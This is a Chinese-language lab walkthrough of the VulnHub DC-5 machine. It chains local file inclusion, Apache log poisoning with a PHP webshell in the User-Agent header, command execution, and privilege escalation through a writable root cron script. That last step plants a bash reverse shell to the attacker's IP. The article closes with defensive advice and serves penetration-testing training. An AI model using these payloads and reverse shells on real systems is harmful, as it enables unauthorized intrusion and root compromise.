ARTICLE DETAIL

资讯详情

深耕编程入门与网站建设的一线实战洞察。

从LFI到RCE:DC-5靶机渗透实战中的日志注入与权限提升

从LFI到RCE:DC-5靶机渗透实战中的日志注入与权限提升 1. 项目概述与核心思路拆解拿到DC-5这个靶机很多朋友的第一反应可能是去翻找那些常见的Web漏洞比如SQL注入或者命令执行。但DC-5的“性格”有点不一样它把突破口藏在了我们日常最容易忽略的地方——日志文件。这次实战的核心路径就是从一次看似普通的文件包含漏洞LFI出发通过巧妙的“日志注入”污染日志最终实现权限的飞跃。这不仅仅是一次CTF练习更是对渗透测试中“观察与利用”思维的深度训练。它模拟了一个非常现实的场景攻击者如何利用应用程序的正常功能记录日志作为攻击跳板这对于从事安全运维、应急响应或者红队评估的朋友来说具有极高的参考价值。整个流程可以概括为“发现入口 - 扩大战果 - 巩固阵地 - 夺取高地”。我们首先需要找到那个允许我们读取服务器任意文件的“小门”LFI然后利用这个小门不是去读敏感文件而是去“写”东西——把我们的恶意代码“注入”到服务器的访问日志里。接着再利用文件包含漏洞去执行这段被我们污染过的日志从而在Web服务器环境下获得一个命令执行的shell。这通常只是www-data这类低权限账户最后一步我们需要在目标系统内部进行横向移动或纵向提权找到那个通往root权限的钥匙。这个过程会涉及到对Linux系统配置、服务、定时任务乃至内核版本的细致审查是对综合渗透能力的全面考验。2. 环境准备与信息收集2.1 靶机环境搭建与网络配置DC-5是VulnHub上一个非常经典的靶机它的设计精巧在于路径单一但层层递进。首先你需要一个虚拟化环境VMware Workstation或VirtualBox都可以。下载好DC-5的OVA文件后直接导入。这里有个关键点务必确保靶机的网络模式设置为“桥接”或与你的攻击机在同一NAT网络下。我个人的习惯是使用“NAT模式”并创建一个自定义的VMnet例如VMnet2将攻击机Kali Linux和靶机都接入这个网络这样能避免外部网络干扰模拟一个内网环境。启动靶机后它通常不会显示IP地址。我们需要找到它。最常用的方法是使用netdiscover或nmap进行二层或三层发现。在Kali上可以快速扫描整个网段sudo netdiscover -r 192.168.2.0/24或者使用nmap的ping扫描sudo nmap -sn 192.168.2.0/24扫描结果中你会看到一个未知主机名的IP那很可能就是DC-5。记下这个IP地址例如192.168.2.105。接下来就是对其进行全面的端口和服务探测。2.2 系统性信息收集与指纹识别信息收集是渗透测试的“眼睛”做得越细后面的路越顺。我们使用Nmap进行全端口扫描和服务版本探测sudo nmap -sS -sV -sC -O -p- 192.168.2.105 -oA dc5_full_scan-sS: SYN半开放扫描速度快且相对隐蔽。-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行更深入的探测。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口。-oA: 将结果以所有格式normal, xml, grepable输出方便后续查阅。扫描报告会告诉我们靶机开放了哪些端口。对于DC-5预期会看到80端口HTTP服务是开放的可能还有111端口RPCbind等。核心突破口就在80端口运行的Web应用上。我们打开浏览器访问http://192.168.2.105。首先直观地浏览网站看看有哪些功能点、链接、表单。同时使用浏览器开发者工具F12查看网络请求和前端代码。但更重要的是使用自动化工具进行辅助侦察。我习惯用gobuster或ffuf进行目录爆破gobuster dir -u http://192.168.2.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txtdir: 指定目录爆破模式。-u: 指定目标URL。-w: 指定字典文件common.txt是一个基础字典。-x: 尝试这些后缀。这个步骤可能会发现一些隐藏的目录或文件比如/admin、/backup、/index.php等。在DC-5中我们可能会发现一个类似contact.php或index.php?file这样的页面这通常就是漏洞的触发点。注意信息收集阶段不要急于求成。有时网站根目录下存在robots.txt或phpinfo.php文件可能会泄露路径信息或配置细节。同时留意网页上的任何注释、错误信息甚至是图片的EXIF数据都可能是线索。3. 漏洞发现与利用LFI与日志注入3.1 本地文件包含漏洞的识别与验证在信息收集阶段如果我们发现URL参数中包含了文件路径例如http://192.168.2.105/index.php?filefeature.php这就要高度警惕LFI漏洞。测试方法很简单尝试读取系统已知文件http://192.168.2.105/index.php?file../../../../etc/passwd如果页面上显示了/etc/passwd文件的内容那么LFI漏洞就坐实了。这是利用的基础。LFI之所以危险是因为它允许攻击者读取服务器上的任意文件在权限允许范围内。我们可以尝试读取/etc/passwd: 确认用户列表。/etc/hosts: 查看网络配置。Web应用的配置文件如config.php、database.php可能包含数据库密码。Web服务器日志文件这是我们的主要跳板。3.2 日志文件路径定位与污染技巧在Linux系统上Web服务器如Apache、Nginx的访问日志路径通常是固定的但不同发行版和安装方式会有差异。常见的Apache日志路径有/var/log/apache2/access.log/var/log/httpd/access_log/var/log/apache/access.log通过LFI漏洞我们可以尝试读取这些日志文件来确认路径。例如http://192.168.2.105/index.php?file../../../../var/log/apache2/access.log一旦能读取到日志内容我们就找到了一个可写的“文本文件”。日志注入的原理就是将PHP代码作为HTTP请求的一部分发送给服务器服务器会将其原样记录在访问日志中从而使日志文件里包含可执行的PHP代码。如何“污染”日志呢我们需要在HTTP请求中嵌入PHP代码。但由于日志记录会进行URL编码直接写?php system($_GET[‘cmd’]);?会被转义。这里有两个常用技巧使用User-Agent头注入这是最常用的方法。因为User-Agent头通常会被完整记录。我们可以使用Burp Suite、cURL或Python脚本发送一个包含PHP代码的请求。curl -A ?php system(\$_GET[cmd]);? http://192.168.2.105/这个请求的User-Agent会被记录到access.log中内容就是我们的PHP一句话木马。使用Referer或其他头部如果User-Agent被过滤或转义可以尝试在Referer头中注入。curl -H Referer: ?php system(\$_GET[cmd]);? http://192.168.2.105/实操心得在实际操作中可能会遇到日志文件权限问题www-data用户无法写入或者日志轮转logrotate导致旧日志被压缩。因此在注入后要尽快利用。另外注入的PHP代码要尽量简洁、通用避免使用短标签?因为目标服务器的php.ini可能未开启short_open_tag。使用?php ... ?是最稳妥的。3.3 从LFI到RCE的完整利用链构建成功污染日志后我们的access.log文件里就包含了一行类似这样的记录192.168.2.100 - - [日期] GET / HTTP/1.1 200 1234 - ?php system($_GET[cmd]);?现在我们再次利用LFI漏洞但这次不是读取而是“包含”这个日志文件。因为PHP的include或require函数被LFI漏洞触发会将被包含文件中的PHP代码执行。http://192.168.2.105/index.php?file../../../../var/log/apache2/access.logcmdid这个请求的流程是index.php接收到参数file../../../var/log/apache2/access.log将其内容包含进来。被包含的日志文件中的?php system($_GET[‘cmd’]);?代码被执行。PHP引擎看到$_GET[‘cmd’]的值为id于是执行system(‘id’)命令。命令执行的结果uid33(www-data) gid33(www-data) groups33(www-data)会被输出到网页上。至此我们成功地将一个本地文件包含漏洞升级为了远程命令执行漏洞获得了在Web服务器上执行任意命令的能力。通常我们会利用这个能力来获取一个反向Shell以便进行更稳定的交互。4. 权限提升从www-data到root4.1 初始立足点巩固与内部侦察拿到www-data的shell后通常是一个反向shell连接回你的Kali机器第一件事是升级shell。因为通过netcat或类似方式获得的shell往往是功能受限的、不稳定的。# 在获得的简陋shell中执行 python3 -c import pty; pty.spawn(/bin/bash) # 或者如果python3不可用 python -c import pty; pty.spawn(/bin/bash) # 或者使用script命令 script /dev/null -c bash按CtrlZ将当前进程挂起然后在你的Kali终端输入stty raw -echo; fg最后输入reset并回车如果终端乱码。这样就能得到一个支持命令历史、Tab补全的完整TTY shell。接下来开始系统的内部信息收集目标是找到提权路径。这是一项系统性工作系统信息uname -a # 查看内核版本寻找内核漏洞 cat /etc/issue /etc/*-release # 查看发行版信息 hostname用户与权限信息id # 当前用户权限 sudo -l # **重中之重**查看当前用户能以root身份无需密码运行哪些命令 cat /etc/passwd | grep -v nologin # 查看可登录用户 ls -la /home/ # 查看家目录进程与服务ps aux # 查看所有进程 netstat -tulpn # 查看网络连接和监听端口 systemctl list-units --typeservice # 查看系统服务定时任务crontab -l # 查看当前用户的定时任务 ls -la /etc/cron* # 查看系统定时任务目录 cat /etc/crontab # 查看系统crontabSUID/GUID文件find / -type f -perm -4000 -o -perm -2000 2/dev/null # 查找设置了SUID或GUID位的文件 find / -type f -perm -us 2/dev/null # 查找SUID文件可写文件与目录find / -writable -type d 2/dev/null # 查找当前用户可写的目录 find / -perm -ow -type f 2/dev/null 2/dev/null # 查找全局可写的文件4.2 提权向量分析与漏洞利用在DC-5中提权路径通常设计得比较巧妙可能不是那种一个公开EXP打上去就完事的漏洞。需要仔细分析上面收集的信息。sudo -l 分析如果发现www-data用户可以以root身份运行某个命令且不需要密码NOPASSWD这就是最直接的提权路径。例如如果能运行/usr/bin/vim、/usr/bin/find、/usr/bin/python等可以通过这些命令本身的功能来逃逸到root shell。GTFOBins这个项目https://gtfobins.github.io/是查询此类方法的宝典。SUID文件分析查找不常见的、具有SUID权限的可执行文件。例如如果发现/usr/bin/view一个vim的只读版本具有SUID位那么可以通过:!bash在vim中启动一个shell这个shell将继承root权限。定时任务分析检查/etc/crontab和/etc/cron.*目录。如果发现有一个以root权限运行的定时任务执行的脚本或二进制文件是www-data用户可写的那么我们就可以修改这个文件植入我们的反向shell代码等待定时任务执行即可获得root shell。内核漏洞运行uname -a查看内核版本。然后可以搜索该版本是否存在公开的本地提权漏洞。但在CTF靶机中尤其是像DC系列更倾向于考察对系统配置和服务的理解而非纯粹的内核漏洞利用。不过作为练习可以尝试使用像linux-exploit-suggester这样的脚本需要上传到靶机来检查潜在的漏洞。在DC-5的典型场景中提权点往往与定时任务或一个特定的SUID程序相关。你需要仔细阅读定时任务执行的脚本内容。有时脚本会调用一些相对路径的命令如果你对这个路径有写权限就可以进行劫持。这就是所谓的“PATH环境变量劫持”或“共享库劫持”。4.3 最终提权操作与根标志获取假设通过分析我们发现了一个提权路径。这里我以一个假设的、基于定时任务的提权为例演示完整过程发现可疑定时任务cat /etc/crontab发现一行*/5 * * * * root /opt/scripts/cleanup.sh意思是每5分钟root用户会执行一次/opt/scripts/cleanup.sh脚本。检查脚本权限与内容ls -la /opt/scripts/cleanup.sh cat /opt/scripts/cleanup.sh发现cleanup.sh的所有者是root但www-data用户对其有写权限或者/opt/scripts目录www-data可写可以重命名或替换该文件。脚本内容可能是简单的清理日志操作。利用定时任务 由于我们可以写这个脚本直接编辑它在末尾添加一个获取root权限反向shell的命令。echo bash -i /dev/tcp/192.168.2.100/4444 01 /opt/scripts/cleanup.sh或者更稳妥地直接覆盖整个脚本echo #!/bin/bash /opt/scripts/cleanup.sh echo bash -i /dev/tcp/192.168.2.100/4444 01 /opt/scripts/cleanup.sh chmod x /opt/scripts/cleanup.sh # 保持可执行权限在你的Kali攻击机上监听4444端口nc -lvnp 4444等待与收获 最多等待5分钟定时任务触发你的netcat监听器就会收到一个来自靶机的、以root权限运行的反向shell连接。获取标志 进入root shell后最后的任务就是找到flag文件。通常位于/root目录下名字可能是root.txt、flag.txt或proof.txt。cd /root ls -la cat root.txt记下flag内容整个渗透测试实战就圆满完成了。踩坑记录在实际操作中可能会遇到脚本语法错误导致定时任务执行失败或者反弹shell的IP/端口不对。一定要确保植入的命令语法正确并且你的监听器已经开启。另外有些系统会有/tmp目录的noexec挂载选项导致其中的脚本无法执行需要注意。5. 总结反思与防御建议走完DC-5的全程再回头看它的设计精髓在于串联了多个中低危漏洞形成了一条完整的攻击链。LFI本身可能危害有限但结合日志注入就成了RCE的跳板。获得初始立足点后对系统内部配置的细致审查能力直接决定了能否成功提权。这非常贴近真实的渗透场景——攻击者很少能一击致命更多的是步步为营层层突破。从防御角度我们可以从这次实战中汲取很多教训针对LFI漏洞输入验证与白名单对文件包含的参数进行严格过滤只允许包含预设的白名单内的文件禁止目录穿越符../。避免动态包含如果可能尽量使用静态包含或模板引擎。设置open_basedir在PHP配置中设置open_basedir将PHP可访问的文件限制在特定目录树内。针对日志注入日志内容过滤对写入日志的HTTP请求头特别是User-Agent、Referer进行敏感字符过滤或编码避免原始PHP代码被直接记录。日志文件权限确保Web服务器用户如www-data对日志文件只有追加写入的权限没有读取或执行权限。更好的做法是将日志文件放在Web根目录之外。日志与Web分离将日志记录到专门的日志服务器或数据库中而非本地文件。针对权限提升最小权限原则Web服务应以低权限用户如www-data运行并确保该用户没有不必要的sudo权限、无法写入系统关键目录或脚本。定期审计定期使用类似lynis、chkrootkit等工具进行安全审计检查异常的SUID/GUID文件、错误的文件权限、可疑的定时任务。更新与补丁及时更新操作系统和软件修复已知的内核漏洞和应用漏洞。但更重要的是安全配置很多漏洞源于不当的配置而非软件本身。监控与告警对系统的进程、网络连接、文件变化进行监控对异常行为如从Web进程发起反向shell连接设置告警。DC-5就像一位严格的教练它告诉我们安全是一个整体任何一个环节的疏忽都可能被攻击者串联起来形成致命的突破口。作为防御者需要建立纵深防御体系作为攻击者在授权测试中则需要培养这种串联思维和耐心侦察的习惯。每一次这样的实战演练都是对攻防双方思维模式的一次有效锤炼。
返回列表